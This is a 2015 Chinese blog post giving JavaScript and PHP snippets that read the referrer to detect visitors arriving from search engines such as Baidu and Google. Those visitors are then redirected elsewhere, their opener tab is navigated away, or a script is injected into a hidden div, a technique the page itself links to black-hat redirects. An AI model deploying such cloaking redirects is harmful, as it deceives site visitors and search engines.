js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问


Posted in Javascript onSeptember 14, 2015

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。

代码如下:

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

JS正则表达式判断来路搜索引擎指定跳转网址

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="跳转指定网址";
}
<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("https://3water.com")

</script>

通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}

function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>

一段php判断搜索引擎的代码

<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>

手机端别忘了 sm、 sogou。

基本上也差不多了,如果你有更好的代码,可以留言.

Javascript 相关文章推荐
Js 时间间隔计算的函数(间隔天数)
Nov 15 Javascript
让低版本浏览器支持input的placeholder属性(js方法)
Apr 03 Javascript
jquery text()方法取标签中的文本
Jul 25 Javascript
jQuery插件expander实现图片翻转特效
May 21 Javascript
第五章之BootStrap 栅格系统
Apr 25 Javascript
使用jQuery判断浏览器滚动条位置的方法
May 30 Javascript
微信小程序之小豆瓣图书实例
Nov 30 Javascript
vue2.0学习之axios的封装与vuex介绍
May 28 Javascript
jQuery实现动画、消失、显现、渐出、渐入效果示例
Sep 06 jQuery
详解Express笔记之动态渲染HTML(新手入坑)
Dec 13 Javascript
原生js实现贪食蛇小游戏的思路详解
Nov 26 Javascript
微信小程序以ssm做后台开发的实现示例
Apr 08 Javascript
根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)
Sep 14 #Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
js带缩略图的图片轮播效果代码分享
Sep 14 #Javascript
jQuery实现的Tab滑动选项卡及图片切换(多种效果)小结
Sep 14 #Javascript
JS+DIV+CSS实现的经典标签切换效果代码
Sep 14 #Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
Sep 14 #Javascript
jQuery实现鼠标悬停背景翻转的黑色导航菜单代码
Sep 14 #Javascript
You might like
PHP中几个可以提高运行效率的代码写法、技巧分享
2014/08/21 PHP
thinkphp模板用法和内容输出实例
2014/11/28 PHP
Laravel 5.0 发布 新版本特性详解
2015/02/10 PHP
php实现在服务器上创建目录的方法
2015/03/16 PHP
yii数据库的查询方法
2015/12/28 PHP
PHP中key和current,next的联合运用实例分析
2016/03/29 PHP
JQuery入门——用bind方法绑定事件处理函数应用介绍
2013/02/05 Javascript
自己使用js/jquery写的一个定制对话框控件
2014/05/02 Javascript
DEDECMS如何为文章添加HOT NEW标志图片
2015/08/14 Javascript
JavaScript 常见安全漏洞和自动化检测技术
2015/08/21 Javascript
详解Javacript和AngularJS中的Promises
2016/02/09 Javascript
Ionic实现页面下拉刷新(ion-refresher)功能代码
2016/06/03 Javascript
node.js文件上传处理示例
2016/10/27 Javascript
Bootstrap基本插件学习笔记之轮播幻灯片(23)
2016/12/08 Javascript
Vue.js实现移动端短信验证码功能
2017/03/29 Javascript
详解React项目的服务端渲染改造(koa2+webpack3.11)
2018/03/19 Javascript
微信小程序wx:for和wx:for-item的用法详解
2018/04/01 Javascript
浅析Vue实例以及生命周期
2018/08/14 Javascript
在Python中操作列表之list.extend()方法的使用
2015/05/20 Python
对pandas数据判断是否为NaN值的方法详解
2018/11/06 Python
python for和else语句趣谈
2019/07/02 Python
python中count函数简单的实例讲解
2020/02/06 Python
快速解决jupyter notebook启动需要密码的问题
2020/04/21 Python
使用Python内置模块与函数进行不同进制的数的转换
2020/04/26 Python
Keras搭建自编码器操作
2020/07/03 Python
html5中地理位置定位api接口开发应用小结
2013/01/04 HTML / CSS
美津浓美国官网:Mizuno美国
2018/08/07 全球购物
商务英语本科生的自我评价分享
2013/11/15 职场文书
简历自我评价模版
2014/01/31 职场文书
校园学雷锋活动月总结
2014/03/09 职场文书
个人投资计划书
2014/05/01 职场文书
办公室主任岗位承诺书
2014/05/29 职场文书
市场营销策划方案
2014/06/11 职场文书
婚育证明格式
2015/06/17 职场文书
python将图片转为矢量图的方法步骤
2021/03/30 Python
uniapp开发小程序的经验总结
2021/04/08 Javascript